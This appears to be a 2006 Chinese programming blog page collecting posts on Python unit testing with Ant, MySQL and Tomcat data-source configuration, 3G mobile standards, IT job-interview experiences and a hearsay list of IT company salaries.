          第 9 至第 11 行定義了在生成文檔的過程中應該處理哪些 Python 源文件。文件集是 Ant 腳本中通用的結構,可用于定義所操作的一組文件。這是一種很強大的特性,它使您能夠通過名字模式、布爾邏輯和文件屬性來選擇所要操作的文件。Ant 文檔中有這方面的完整描述。本例中遞歸選擇了“src”目錄下的所有文件。

          Python 單元測試任務
          Python 中具有標準的單元測試框架(從 Python 2.3 開始。在 Python 2.2 中這只是可選模塊),與 Java jUnit 框架十分類似。測試用例的結構與 jUnit 采用相同的方式。每一個待測試的類和模塊通常都具有自己的測試類。測試類中包含測試裝置(fixture),它們在 setUp 函數中初始化。每一個測試都編寫為測試類中的一個獨立的測試函數。unittest 框架會在測試函數之間循環往復,先調用 setUp 、再測試函數、然后清除( tearDown )測試函數。請參閱清單 4 中的樣例。

          清單 4. Python 單元測試模塊
          																												
          import unittest
          from pprint import pprint
          
          import feedparser
          
          class FeedparserTest(unittest.TestCase):
              """
              A test class for the feedparser module.
              """
              
              def setUp(self):
                  """
                  set up data used in the tests.
                  setUp is called before each test function execution.
                  """
                  self.developerWorksUrl = "testData/developerworks.rss"       
          
              def testParse09Rss(self):
                  """
                  Test a successful run of the parse function for a
                  0.91 RSS feed.
                  """
                  print "FeedparserTest.testParse09RSS()"
                  
                  result = feedparser.parse(self.developerWorksUrl)
                  pprint(result)
          
                  self.assertEqual(0, result['bozo'])
                  
                  self.assert_(result is not None)
                  channel = result['channel']
                  self.assert_(channel is not None)
                  chanDesc = channel['description']
                  self.assertEqual(u'The latest content from IBM developerWorks',
                      chanDesc)
                  
                  items = result['items']
                  self.assert_(items is not None)
                  self.assert_(len(items)> 3)
                  firstItem = items[0]
                  title = firstItem['title']
                  self.assertEqual(u'Build installation packages with 
                      solution installation and deployment technologies',
                      title)
            
              def tearDown(self):
                  """
                  tear down any data used in tests
                  tearDown is called after each test function execution.
                  """
                  pass
                          
          if __name__ == '__main__':
              unittest.main()
          
          																										

          上述清單是實現 feedparser 模塊基本測試功能的測試類。完整的測試類見 feedParserTest 項目下的 src/feedparserTest/FeedparserTest.py。 setUp 函數負責準備整個測試過程中需要使用的測試裝置,在本例中只有測試用的 RSS 文件的目錄,測試函數將對其進行解析。 testParse09Rss 是真正的測試函數。這個函數調用 feedparser.parse 函數,傳遞測試用的 RSS 文件,輸出解析結果,并通過 TestCase 類的 assert 函數執行基本的檢查統作。如果任何 assert 的求值結果不是真,或是在執行過程中拋出任何異常,unittest 就會報告一次測試失敗或錯誤。最后的兩行負責在這個測試類內部運行測試,方法是直接運行該模塊即可。

          要獨立運行該測試類,可以按前面所說的相同方式運行 FeedparserTest.py 模塊。在 Eclipse Navigator 視圖中選擇 FeedparserTest.py,然后通過 Python > Run 運行。此時顯示啟動配置窗口。除 Base 目錄之外,其他都保持缺省值即可。Base 目錄必須是 feedParserTest 項目的目錄,這樣才能在當前目錄下找到 RSS 文件(testData/developerworks.rss)。修改 base 目錄的設置,然后點擊“Run”。輸出信息顯示在 Console 上。

          您也許希望我們編寫的所有單元測試都能夠作為構建的一部分自動執行。將下面清單 5 所示的構建片斷加入構建腳本便可實現。

          清單 5. 執行單元測試的構建腳本片斷
          																												
          1:  <target name="tests" depends="compile">
          2:	<py-test pythonpath="${src.dir}" dir=".">
          3:  	  <fileset dir="${src.dir}">
          4:		<include name="**/*Test.py"/>
          5:	  </fileset>
          6:  	</py-test>
          7:  </target> 
          
          
          																										

          第一行是目標聲明,這與其他的腳本相同。第 2 至第 6 行調用 py-test 任務。這部分代碼將在“src”目錄下查找所有以“Test.py”結尾的所有文件,并運行所有測試。 PYTHONPATH 設置為“src”,測試執行的當前工作目錄就是當前目錄(‘.’)。

          運行目標的方法是先運行構建腳本,再選擇執行“tests”目標。該目標將運行所有以“Test.py”結尾的測試用例,本例中僅有 FeadparserTest.py。

          結束語
          Eclipse 和 PyDev 插件的結合,以及 Apache Ant 與 Python Ant 任務一起使用,可以為 Python 開發提供完全集成的開發環境和構建/部署工具。這些工具尚在開發過程中,因此要經常查看是否有更新,如果您覺得特別希望看到某種特性,可以卷起袖管自力更生。

          參考資料

          關于作者
          Ron Smith 是 RPS Technologies, Inc 的創始人。這是一家軟件開發與軟件顧問公司,總部位于芝加哥地區。Ron Smith 為客戶提供基于 J2EE 的企業應用程序發方面的咨詢,同時也在 RPS Technologies 內部開發軟件產品。可以通過 ron.smith@rpstechnologies.net與 Ron 聯系。
          posted @ 2006-03-25 20:27 MEYE 閱讀(650) | 評論 (0)編輯 收藏

          http://python.cn ??????? Python 中文社區

          http://wiki.woodpecker.org.cn/ 啄木鳥社區,國內最活躍的 Python 人的聚集地

          posted @ 2006-03-25 20:16 MEYE 閱讀(348) | 評論 (0)編輯 收藏
          Tomcat&mysql

          SQL

          ??????? mysqlshow?? 數據庫結構查詢
          ??????? mysqlaccess 用戶權限查詢
          ??????? mysqladmin? 超級用戶管理工具
          ??????? mysqldump?????? dump工具
          ??????? isamchk???????? 檢查,優化,修補數據工具
          ??????? mysqlimport 從txt文件輸入數據庫
          ??????? mysql_install_db??????? 系統數據庫安裝腳本
          ??????? mysqld????????? 守護進程???????????????
          ??????? safe_mysqld???? 啟動腳本
          ???????
          ??????? 1.未在db表中列出的任意數據庫,user表中的權限都為有效.
          ??????? 可只在user表中設置某些superuser的權限,而在db表中不涉及.
          ??????? 2.host只用來維護有效的server,缺省為空表,即為局域網內
          ??????? 的所有機器.
          ??????? 3.可用mysql -u root mysql命令修改權限.
          ??????? 4.權限匹配時遵循的原則是:
          ??????????????? a. 表順序: host -> db -> user;
          ??????????????? b. host和db域可有通配符%和_,表示所有和單個字符;
          ??????????????? c. 同一表中,也是 host->db->user域的順序,無通配符優
          ??????????????? 于有通配符;
          ??????????????? d. user域為空(''),表示匹配所有其他的用戶;
          ??????????????? e. host可為機器名,localhost,IP,或通配符(如192.10.10.%),
          ??????????????????????? 但不允許用數字和點號開頭(如123.321.1.edu.cn);
          ??????????????? f. 各表中的權限最后相"或";
          ??????? 5.修改完之后,執行mysqladmin -u root reload更新.?
          ????????
          ???????
          Tomcat配置
          如果出現
          Unable to find a javac compiler;
          com.sun.tools.javac.Main is not on the classpath.
          Perhaps JAVA_HOME does not point to the JDK
          ...
          Tomcat ClassPath配置如下:
          C:\Program Files\Apache Software Foundation\Tomcat 5.0\bin\bootstrap.jar;C:\Program Files\Java\jdk1.5.0\lib\tools.jar


          MySQL配置
          c:\mysql\bin>mysqld     //啟動mysql的服務進程
          c:\mysql\bin\mysql -uroot? //連接到mysql數據庫
            mysql>update user set password=PASSWORD('<new_root_password>') where user='root';
            mysql>flush privileges;
            上面的操作是修改root用戶的密碼,'<new_root_password>'是你設置的密碼。

            mysql>create database gamedb;     //創建gamedb庫
            mysql>connect gamedb;        ? //連接到gamedb庫
            mysql>source gamedb.sql; ???????????? //gamedb初始化建表
          ??? mysql>GRANT SELECT, INSERT, UPDATE, DELETE, INDEX, ALTER,
          ??????????????? CREATE, DROP, REFERENCES, LOCK TABLES,
          ??????????????? CREATE TEMPORARY TABLES
          ??????????????? ON gamedb.* TO gamedb@localhost IDENTIFIED BY '<gamedb_password>';
            mysql>flush privileges;
            上面是建立gamedb用戶,<gamedb_password>為gamedb用戶的密碼。

            mysql>exit;   //退出

          ?

          下載MySQL JDBC
          Connector/J 3.0.15-ga (MySQL.com提供的JDBC Driver)
          下載地址:http://dev.mysql.com/downloads/connector/j/3.0.html


          安裝JDBC
          mysql-connector-java-3.0.15-ga.zip解壓后將mysql-connector-java-3.0.15-ga-bin.jar 復制到%TOMCAT_HOME%\common\lib下


          配置Tomcat
          假設:數據庫:gamedb 用戶名:gamedb 密碼:gamedb

          第一步: http://127.0.0.1:8080,進入tomcat頁,用tomcat的 Tomcat Administration--->Resources--->Data Sources頁面添加,參數如下:

          JNDI Name:???????? jdbc/mysql
          Data Source URL:?? jdbc:mysql://localhost:3306/gamedb?autoReconnect=true&useUnicode=true&characterEncoding=GB2312
          JDBC Driver Class: com.mysql.jdbc.Driver
          User Name:???????? gamedb
          Password:????????? gamedb
          Max. Active Connections: 4
          Max. Idle Connections:?? 2
          Max. Wait for Connection:5000
          Validation Query ://不添


          第二步: 試頁內加入代碼你自己在mysql里建個表檢單測試一下吧,我這里以ght_users表為例,在你的應用下做一個測試用的test.jsp,然后http訪問這個jsp頁,test.jsp代碼如下

          <%@ page contentType = "text/html; charset=gb2312" %>
          <%@ page import = "java.sql.*" %>
          <%@ page import = "javax.naming.*" %>
          <%@ page import = "javax.sql.*" %>
          <%
          Context ctx=null;
          DataSource ds=null;
          Connection conn=null;
          Statement stmt=null;
          ResultSet rs=null;

          try{
          ?ctx = new InitialContext();
          ?if( ctx == null )
          ??out.println("no context");
          ?ds = (DataSource) ctx.lookup("java:comp/env/jdbc/mysql");
          ?if( ds == null )
          ??out.println("no datasource");
          ?conn = ds.getConnection();
          ?stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,
          ??ResultSet.CONCUR_READ_ONLY);
          ?String strSql = " select * from ght_users";
          ?rs = stmt.executeQuery(strSql);
          ?while(rs.next()){
          ??out.println(rs.getString(1));
          ?}
          }
          catch(Exception ex){
          ?ex.printStackTrace();
          ?out.println(ex.toString());
          }
          finally{
          ?if( rs != null )
          ??rs.close();
          ?if( stmt != null )
          ??stmt.close();
          ?if( conn != null)
          ??conn.close();
          ?if( ctx != null )
          ??ctx.close();
          }
          %>

          ?

          常見問題
          Q:出現javax.naming.NameNotFoundException: Name jdbc is not bound in this Context
          A: 在yourWebApp\WEB-INF\web.xml中增加
          ??? <resource-ref>
          ??????? <description>jdbc/mysql</description>
          ??????? <res-ref-name>jdbc/mysql</res-ref-name>
          ??????? <res-type>javax.sql.DataSource</res-type>
          ??????? <res-auth>Container</res-auth>
          ??? </resource-ref>

          Q:出現org.apache.commons.dbcp.SQLNestedException: Cannot create JDBC driver of class '?' for onnect URL 'null',這是為什么?

          A: 在%TOMCAT_HOME%\conf\Catalina\localhost下找到你的web應用對應的.xml文件,如test.xml,并在此文件的下添入代碼:
          <ResourceLink name="jdbc/mysql" global="jdbc/mysql" type="javax.sql.DataSourcer"/>

          重啟tomcat。
          注意:

          for tomcat-5.0.18
          i use ROOT in tomcat as by web app i put the following entry in E:\jakarta-tomcat-5.0.18\conf\Catalina\localhost\ROOT.xml file
          for tomcat-4.1.18
          i use ROOT in tomcat as my webapp i put the following entry in E:\qrules\tomcat\jakarta-tomcat-4.1.18\conf\server.xml

          <ResourceLink name="jdbc/quickstart" type="javax.sql.DataSource" global="jdbc/quickstart"/>

          Web界面配DBCP時,生成的是服務器的全局JNDI資源,查看%TOMCAT_HOME%\conf\server.xml可以得知tomcat修改了server.xml,在<server>下的<GlobalNamingResources>下添入了一些數據后的server.xml:


          <?xml version='1.0' encoding='utf-8'?>
          <Server>
          ? <Listener className="org.apache.catalina.mbeans.ServerLifecycleListener"/>
          ? <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener"/>
          ? <GlobalNamingResources>
          ??? <Environment name="simpleValue" type="java.lang.Integer" value="30"/>
          ??? <Resource auth="Container" description="User database that can be updated and saved" name="UserDatabase" type="org.apache.catalina.UserDatabase"/>
          ??? <Resource name="jdbc/mysql" type="javax.sql.DataSource"/>
          ??? <ResourceParams name="UserDatabase">
          ????? <parameter>
          ??????? <name>factory</name>
          ??????? <value>org.apache.catalina.users.MemoryUserDatabaseFactory</value>
          ????? </parameter>
          ????? <parameter>
          ??????? <name>pathname</name>
          ??????? <value>conf/tomcat-users.xml</value>
          ????? </parameter>
          ??? </ResourceParams>
          ??? <ResourceParams name="jdbc/mysql">
          ????? <parameter>
          ??????? <name>maxWait</name>
          ??????? <value>5000</value>
          ????? </parameter>
          ????? <parameter>
          ??????? <name>maxActive</name>
          ??????? <value>4</value>
          ????? </parameter>
          ????? <parameter>
          ??????? <name>password</name>
          ??????? <value>gamedb</value>
          ????? </parameter>
          ????? <parameter>
          ??????? <name>url</name>
          ??????? <value>jdbc:mysql://localhost:3306/gamedb?autoReconnect=true&amp;useUnicode=true&amp;characterEncoding=GB2312</value>
          ????? </parameter>
          ????? <parameter>
          ??????? <name>driverClassName</name>
          ??????? <value>com.mysql.jdbc.Driver</value>
          ????? </parameter>
          ????? <parameter>
          ??????? <name>maxIdle</name>
          ??????? <value>2</value>
          ????? </parameter>
          ????? <parameter>
          ??????? <name>username</name>
          ??????? <value>gamedb</value>
          ????? </parameter>
          ?? <parameter>
          ???? <name>factory</name>
          ???? <value>org.apache.commons.dbcp.BasicDataSourceFactory</value>
          ?? </parameter>
          ??? </ResourceParams>
          ? </GlobalNamingResources>
          ? <Service name="Catalina">
          ??? <Connector acceptCount="100" connectionTimeout="20000" disableUploadTimeout="true" port="8080" redirectPort="8443" maxSpareThreads="75" maxThreads="150" minSpareThreads="25">
          ??? </Connector>
          ??? <Connector port="8009" protocol="AJP/1.3" protocolHandlerClassName="org.apache.jk.server.JkCoyoteHandler" redirectPort="8443">
          ??? </Connector>
          ??? <Engine defaultHost="localhost" name="Catalina">
          ????? <Host appBase="webapps" name="localhost">
          ??????? <Logger className="org.apache.catalina.logger.FileLogger" prefix="localhost_log." suffix=".txt" timestamp="true"/>
          ????? </Host>
          ????? <Logger className="org.apache.catalina.logger.FileLogger" prefix="catalina_log." suffix=".txt" timestamp="true"/>
          ????? <Realm className="org.apache.catalina.realm.UserDatabaseRealm"/>
          ??? </Engine>
          ? </Service>
          </Server>

          ?

          Q:如何配制DBCP只應用于指定的web application呢?

          A:tomcat 5.x以后將web application的從server.xml里分離了出來,放在了 %TOMCAT_HOME%\conf\Catalina\localhost下,如你的應用為test, 那么在這個目錄下就會有一個相應的test.xml與之對應,如:

          <?xml version='1.0' encoding='utf-8'?>
          <Context displayName="Tomcat Test Application"
          ? docBase="C:/Program Files/Apache Software Foundation/Tomcat 5.5/server/webapps/test" path="/test" privileged="true" workDir="work\Catalina\localhost\test">
          ? ...
          </Context>

          ?

          Q:我如何解決中亂碼問題?

          A:在配制mysql的數據庫url時我們加入了useUnicode=true&characterEncoding=GB2312參數,指定數據庫編碼方式為GB2312,其它還需要做的就是常用的一些方式,如指定 <%@ page contentType = "text/html; charset=gb2312" %>、使用filter等,這方面的資料很多,這里不再累述。

          這里需要注意的是url中的“&“符號,如果手動在.xml內配制時,需將其轉換為“&”

          posted @ 2006-03-25 20:13 MEYE 閱讀(552) | 評論 (0)編輯 收藏
          什么是3G?

          日期 2006-3-19 22:56:00

          什么是3G

          ?
          ????3g是英文3rd?generation的縮寫,指第三代移動通信技術。比起第一代的模擬手機和目前大家所使用的第二代數字手機(包括現在的gsm和cdma),基于第三代移動通信技術基礎上的手機,將和以前的手機有著天壤之別。3g手機是指將結合了無線通信與互聯網等多媒體通信的新一代移動通信系統,它能夠處理包括聲音、圖像、視頻流等多種媒體形式,提供包括網頁瀏覽、電話會議、電子商務等多種信息服務,而且更為安全可靠。在不同的區域內,3g手機提供了不同的數據傳輸速度,在室內、室外和行車的環境中能夠分別支持至少2mbps?(兆字節/每秒)、384kbps(千字節/每秒)以及144kbps的傳輸速度,而我們目前大多數人上互聯網所使用還是只56kbps?(千字節/每秒)的小“貓”。不言而喻,3g手機憑其與生俱來的高速傳輸率優勢,龐大的信息容量使得它幾乎具備了寬帶互聯網的一切特性,必將帶給我們一個前所未有的移動互聯空間。?
            目前在國際上3g技術標準分為3大流派:目前以歐洲廠商為代表的w-cdma標準,它的支持者主要包括包括歐美的愛立信、阿爾卡特、諾基亞、朗訊、北電,以及日本的ntt、富士通、夏普等廠商;以美國高通為首的?cdma2000標準,它的支持者主要有摩托羅拉、朗訊和后來加入的三星,韓國現在成為該標準的主導者;還有就是中國大唐電信提出的td-scdma標準,它的主要支持者包括大唐電信、中國普天、南方高科、華立、華為、聯想、中興、中國電子在內的本土廠商和西門子。
            3g是英文3rdgeneration的縮寫,指第三代移動通信技術。相對第一代模擬制式手機(1g)和第二代gsm、tdma等數字手機(2g),第三代手機一般地講,是指將無線通信與國際互聯網等多媒體通信結合的新一代移動通信系統。它能夠處理圖像、音樂、視頻流等多種媒體形式,提供包括網頁瀏覽、電話會議、電子商務等多種信息服務。為了提供這種服務,無線網絡必須能夠支持不同的數據傳輸速度,也就是說在室內、室外和行車的環境中能夠分別支持至少2mbps(兆字節/每秒??84kbps(千字節/每秒)以及144kbps的傳輸速度。

          3g的技術標準

            國際電信聯盟(itu)在2000年5月確定w?cdma、cdma2000和tds?cdma三大主流無線接口標準,寫入3g技術指導性文件《2000年國際移動通訊計劃》(簡稱imt?2000)。

          w?cdma

            即wideba_ndcdma,也稱為cdmadirectspread,意為寬頻分碼多重存取,其支持者主要是以gsm系統為主的歐洲廠商,日本公司也或多或少參與其中,包括歐美的愛立信、阿爾卡特、***、朗訊、北電,以及日本的ntt、富士通、夏普等廠商。這套系統能夠架設在現有的gsm網絡上,對于系統提供商而言可以較輕易地過渡,而gsm系統相當普及的亞洲對這套新技術的接受度預料會相當高。因此w?cdma具有先天的市場優勢。

          cdma2000

            cdma2000也稱為cdmamulti?carrier,由美國高通北美公司為主導提出,摩托羅拉、lucent和后來加入的韓國***都有參與,韓國現在成為該標準的主導者。這套系統是從窄頻cdmaone數字標準衍生出來的,可以從原有的cdmaone結構直接升級到3g,建設成本低廉。但目前使用cdma的地區只有日、韓和北美,所以cdma2000的支持者不如w?cdma多。不過cdma2000的研發技術卻是目前各標準中進度最快的,許多3g手機已經率先面世。

          td?scdma

            該標準是由中國大陸獨自制定的3g標準,1999年6月29日,中國原郵電部電信科學技術研究院(大唐電信)向itu提出。該標準將智能無線、同步cdma和軟件無線電等當今國際領先技術融于其中,在頻譜利用率、對業務支持具有靈活性、頻率靈活性及成本等方面的獨特優勢。另外,由于中國內的龐大的市場,該標準受到各大主要電信設備廠商的重視,全球一半以上的設備廠商都宣布可以支持td?scdma標準。

          什么是2.5g

            目前已經進行商業應用的2.5g移動通信技術是從2g邁向3g的銜接性技術,由于3g是個相當浩大的工程,所牽扯的層面多且復雜,要從目前的2g邁向3g不可能一下就銜接得上,因此出現了介于2g和3g之間的2.5g。hscsd、wap、edge、藍牙(bluetooth)、epoc等技術都是2.5g技術。

          hscsd(高速電路交換數據服務)

            這是gsm網絡的升級版本,hscsd(highspeedcircuitswitcheddata)能夠透過多重時分同時進行傳輸,而不是只有單一時分而已,因此能夠將傳輸速度大幅提升到平常的二至三倍。目前新加坡m1與新加坡電訊的移動電話都采用hscsd系統,其傳輸速度能夠達到57.6kbps。

          wap(無線應用通訊協議)

            wap(wirelessapplicationprotocol)是移動通信與互聯網結合的第一階段性產物。這項技術讓使用者可以用手機之類的無線裝置上網,透過小型屏幕遨游在各個網站之間。而這些網站也必須以wml(無線標記語言)編寫,相當于國際互聯網上的html(超文件標記語言)。

          bluetooth(藍牙)

            藍牙是一種短距的無線通訊技術,電子裝置彼此可以透過藍牙而連接起來,傳統的電線在這里就毫無用武之地了。透過芯片上的無線接收器,配有藍牙技術的電子產品能夠在十公尺的距離內彼此相通,傳輸速度可以達到每秒鐘1兆字節。以往紅外線接口的傳輸技術需要電子裝置在視線之內的距離,而現在有了藍牙技術,這樣的麻煩也可以免除了。

          3g何時到來

            日本移動通訊巨人nttdocomo已于10月1日開通全球第一個3g服務,該服務基于wcdma標準。

            目前,亞洲成為3g發展最快的地區,歐洲緊隨其次,美國由于不太熱心而在技術準備上遠遠落后。除了動作最快的日本和韓國,泰國、香港也已經發出3g牌照。臺灣即將發放3g牌照,預計內地在年底前發出3g牌照,市場預期將發行兩到三個牌照
          posted @ 2006-03-25 18:40 MEYE 閱讀(363) | 評論 (0)編輯 收藏
          · TOMCAT5.5.16配置連接池???

          看到那么多朋友為了配置TOMCAT的連接池而煩惱,我在這里就給大家說說怎么配置連接池吧(針對5。5。16,不過我想應該5。5。X版本的應該都差不多)。呵呵,廢話不多說了,我們開始吧:)

          1。?? 下載TOMCAT5。5。X的admin包,把里面的內容復制到TOMCAT的根目錄下

          2。? 重新啟動TOMCAT http://127.0.0.1:8080/admin?登陸進去,接著點Data Sources 在右上邊下拉表單那里選擇Create new data resource 。輸入JNDI NAME:(比如我用的是jdbc/heart) 其他的跟一般的一樣,該怎么填就怎么填好了。

          3???? SAVE?? 然后COMMIT CHANGES 。

          到此為止,還沒有結束哦,呵呵,剩下最關鍵的一步,進入你的TOMCAT/CONF/下打開SERVER。XML 你會發現里面有一段是剛才的操作而自動生成的東東,比如我剛才生成的是:

          <Resource
          ????? name="jdbc/heart"
          ????? type="javax.sql.DataSource"
          ????? password="heart"
          ????? driverClassName="com.microsoft.jdbc.sqlserver.SQLServerDriver"
          ????? maxIdle="20"
          ????? maxWait="5000"
          ????? username="heart"
          ????? url="jdbc:microsoft:sqlserver://127.0.0.1:1433;DatabaseName=heart;user=heart;password=heart;"
          ????? maxActive="100"/>
          就是他啦!呵呵,復制他!接著打開同級目錄下的context.xml,在</context>之前把他丟進去,保存關閉。重新啟動你的TOMCAT。

          到這里,配置就完成了哦,你就可以寫一段代碼來測試你的數據源是否配置好了,應該是沒什么問題的,一步步按上邊的來做哦,千萬別粗心漏了一些細節的東東:)對了,為了防止低級錯誤出現,我在這里還是強調一下,記得之前要把驅動包丟到COMMON/LIB下哦,呵呵,祝愿你能成功:)

          posted @ 2006-03-25 18:39 MEYE 閱讀(434) | 評論 (0)編輯 收藏
          某"面霸"瘋狂應聘IT名企的經歷
          ?發表于 2005-12-26 12:45:32

          華為


            1)筆試 可以選擇JAVAC++,我做的java,個人感覺考的很基礎。
            其中一個編程題:用數組實現棧,并且當棧空間滿時,棧空間增加一倍。
            2)面試:我面的是IT
            一面:技術面,40分鐘,問的很細,UML,單點登錄,J2EE
            二面:綜合面,20分鐘 一個項目完整的經歷
            三面:HR,職業規劃,優勢與劣勢,期望工資與工作地點。5.8K
            四面:老總面,最郁悶的,看了簡歷的封面,說專業不適合去華為工作。無語,也不想去了,因為待遇說實話也不怎么樣,并且就憑專業的名稱淘汰


            騰訊-移動kjava開發


            騰訊
            待遇:碩士年薪10萬,本科年薪7
            1)筆試: C++,基礎題目與程序員考試水平相當。
            附加題:
            1.10億個浮點數,從中找出1萬個最大的數。寫一個高性能的算法
            2.Unix后臺進程的實現
            3.MFC的多文檔模板的加載
            4.數據庫SQL語句查詢
            2)面試
            技術1面:感覺騰訊的面試安排不是很合理,進去之后有12個面試官,隨便找一個面。面我的是個鐵面判官,問了幾個問題,DirectX技術有沒有接觸過? 2D,3D引擎原理?我一頭霧水,跟他沒什么好談的,感覺,彼此都不感興趣。然后他就問了一個很基礎的問題,寫一個程序:從雙向循環鏈表中刪除一個節點。這個當然沒有什么問題。不過出來后感覺就沒戲。

            無緣技術2面與HR


            廣東北電-研發


            廣東北電
            加拿大著名電信設備制造商北電網絡公司始建于一個世紀以前,在通訊發展進步歷程中始終處于領袖地位,廣東北電通信設備有限公司成立于19953月,是北電在華投資的核心公司之一。公司網址是http://www.gdnt.com.cn/

            待遇:碩士7K,本科5.5K,很不錯。一年13個月工資
            1)筆試C++:考的比較難,一共4題,1個小時完成:
            1.英譯漢  
            做完花了15分鐘,英語就一個字!
            2.中序遍歷一個二叉樹,不能用遞歸
            地球上的人都知道要壓棧,但平時根本就是在用遞歸解決。當時現場比劃,花了近30分鐘才勉強寫到試卷上,汗顏!如果后序更麻煩。
            3.雙向冒泡程序改錯--3個錯誤
            看來看去,只發現了2個錯誤。
            4.回答程序所完成的功能-共5
            題目有3頁紙,都還沒來的急看完,更別說寫字了,收卷!

            試卷一共13頁紙,出來暈倒一大片!真不知道他在考什么。

            以下是中大考試題目,要簡單多了:
            1.IS95標準,關于CDMA發展。漢譯英
            2.編程題
            輸入年月日格式yyyymmdd,判斷是否是周末,只要求對2005年判斷。
            3.分析題:有關移動通信編碼,位圖什么的,好像是輸入一串數據,根據題目比編碼方法,寫出編碼后結果,好像沒多少人會做

            2) 面試
            1.多進程與多線程的區別與通信
            2.測試方法
            3.C++中的多態在C中如何實現

          用友筆試


            一般能力測試+開放試題
            1)按類中的某個屬性對類數組排序,盡量用JDK的類實現
            2)找出兩個字符串數組中的相同元素
            3)不同平臺下程序的實現問題

            為什么出了面試通知后,遲遲沒有通知面試?靠!


            神州數碼-開發工程師


            神州數碼
            待遇:稅前5K
            1)筆試:綜合能力測試(公務員題目)+專業測試(J2EE/C++/數據庫)
            感覺專業測試很easy,但是考的非常全,涉及范圍:struts, spring ,eclipse, html, ejb等等;


            2)面試:沒有問技術問題
            1面:HR面,半結構化測試,主要是性格測試
            2面:業務面,沒有問任何技術問題,就是職業規劃和情景分析


            立信-從興電子


            立信-從興電子
            筆試:C++,考的n基礎,但是不是很好做
            1) C++中引用編譯過的C代碼為什么要用“extern c”
            2) 類與struct的區別
            3)數據庫建表的SQL語句,注意主鍵與外鍵是如何建立的
            4)文件的外排序,考慮到CPU,內存,硬盤空間等。
            面試:
            一面:技術+HR,很容易應付
            二面:通知是綜合面,還沒有去面,應該是談價錢


            招商銀行研發中心


            筆試:IQ測試+專業測試(c++,java,delphi,html都有),考的都是很基礎的,但是不容易對付
            面試:在筆試的過程中進行,就問了一下項目,工作流,專業課程與成績,感覺很不正歸,因為連HR的面試都沒有


            金蝶


            筆試:綜合能力測試(公務員題目)+專業測試(java+數據庫+UML
            1.SWING中組件布局有哪幾種方式
            2.寫實例代碼說明多態的實現
            3.數據庫SQL語句
            4.基礎題目考的很全,國際化,數據庫索引,xml shema, ejb, 數據結構等等
            面試: 歷史上時間最短的面試,加起來估計10分鐘,估計被B4
            1HR: 就問了專業,成績,期望工作城市。出來后看到給我評價是一般,真不知道是怎么判斷的
            2)技術面:問其中一個項目,UML用在項目的哪些方面,有沒有用到數據庫索引,數據庫實體建模是用什么工具


            群碩


            在上海,做外包的。開出的待遇不高,拒絕
            筆試:英文,不難做,JAVA基礎知識
            面試:
            一面:技術面,MVC架構,存儲過程,JDBCJMXJMS的區別,Servlet的運行過程與線程安全性,.net自動裝箱與拆箱是否可逆,ADOADO.NET的區別
            二面:HR面,職業規劃,期望工資,雙選的準則


            康拓普電力自動化

            康拓普
            待遇:稅前5K
            筆試:IQ測試+專業測試(java):
            考的非常基礎: 人民幣數字轉化為文字,如1235, 輸出一千二百三十五元
            面試:項目和一些基礎
            簽約, 一切來的都很自然也很偶然

          posted @ 2006-03-25 18:28 MEYE 閱讀(390) | 評論 (0)編輯 收藏
          2005年全國各大IT公司薪酬
          發表于 2005-12-26 12:45:00

          以下內容僅供參考,如有偏差請一笑置之。

            日本SONY(索尼) 1/,僅要研究生

            韓國三星電子中國總部 25/

            法國索姆軟件,年薪20/,赴歐工作

            美國Cisco(思科)15000/,僅要研究生

            美國INTEL(英特爾) 13000/

            美國IBM 5000左右/

            德國西門子 8000/

            西藏聯通 8100(必須滿8),不過高原反應太艱苦

            青海聯通 月薪是50007000,而且可以只簽一年

            深圳聯通 3000-4000/月 其余偏遠地方略高

            深圳記憶科技 本科10-15/,碩士15-20/

            上海網道信息技術() 7000-8000/,1000/月伙食補貼,1000/月房租

            中國電信 7-10/,另交通補助400/,住房補貼1000/

            美AVANT 6-8/

            東方通信 6-8/(僅要研究生)

            北京聯想 6-7.5/

            深大通信 6/

            福州康順光通訊 5-10/

            美國FIBERON公司,10/,6/

            深圳華為 5480/,400多人

            青島海爾 5-6/

            ut斯達康 本5000/月,研6000-8000/

            MOTOROLA(蘇州)5000/

            深圳中興 5000/,100多人

            上海洪一,維景科技公司(臺資) 5000/

            北京華虹NEC 4000-5000/

            深圳黎明網絡 本科起薪4000/,碩士6500/,8500/

            廣東北電 4000-5000/

            上海貝爾 40000/ + 15000(年終獎)

            成都邁普 50000/年(研發)

            中國建設銀行新疆分行 4.5/

            北京大唐中央研究院 實習期4000/月,轉正5000/

            大唐分公司 3000/,轉正4000/

            北大方正奧德 3500-4000/,21

            青島海信 40000/,兩年后6-7/

            中華通信 博士生:5000元;碩士生:4000元;本科生:3000

            煙臺東方電子 3000/ ,轉正4000/.年終獎平均1.5, 婚后分一套70平米21廳房子

            廣東金鵬 3000-4000/

            深圳康佳 3000-4000/

            TCL 3800/(深圳),2000-3000/(惠州)

            深圳奧林巴斯() 3000/,一年135天假期,1200/月房租補貼補

            武漢郵科院 本科3000/月,研究生5000/

            福建實達 30000/

            上海計算機研究所 2500-4000/

            深圳飛通 本3000/月,研5000/

            中訊 3000/

            北京網通 3000/

            寧波雅戈爾 3000/

            廣州華南資訊本科試用期2500/,60000/

            寧波波導 2.5-5/

            成都29 2.5-3/

            青島朗訊(合資) 25000-30000/

            上海電真空研究所2000/,轉正3000/

            鼗島海灣科技 本科2.5/.5.5/

            和記黃埔(香港李嘉城實業,重慶,北京) 2000-4000/月,碩4000-6000/

            中國電信廣州研究中心 2-10/

            西安電子工程研究所 2000-3000/

            中國工程物理研究院(四川綿陽) 2.5/年 軍隊待遇,本科定副連級

            南京自動化研究所 2000/

            36所 本2000 -4000/,3000-6000,5000-8000/

            AMD 2000/

            北京中國航空航天部二院23 2000/

            廈門廈新 1800-1900/

            廣東美的 1800-2400/

            蘇州明基電腦( 臺資) 1600-2000/

            四川長虹 1500--2000/

            深圳天馬微電子 1500/月,轉正3-4/

            合肥英圖微電子(合資) 1500/, 2000/月 (轉正)

            長城電腦 1500/

            成都國騰通信 1200/,研發人員2000-4000/

            成都TOP 1500/

            合肥三十八所 1500/

            海軍南海艦隊湛江基地1100+(300--700)+福利

            湘計算機 1000/月,轉正2000/月 

          ?

          ?
          posted @ 2006-03-25 18:17 MEYE 閱讀(354) | 評論 (0)編輯 收藏
               摘要: 各種電子教程下載網址超級大集合 ==========Photoshop教學站點========== http://www.iwebcreator.net/http://www.photoshopcn.com...  閱讀全文
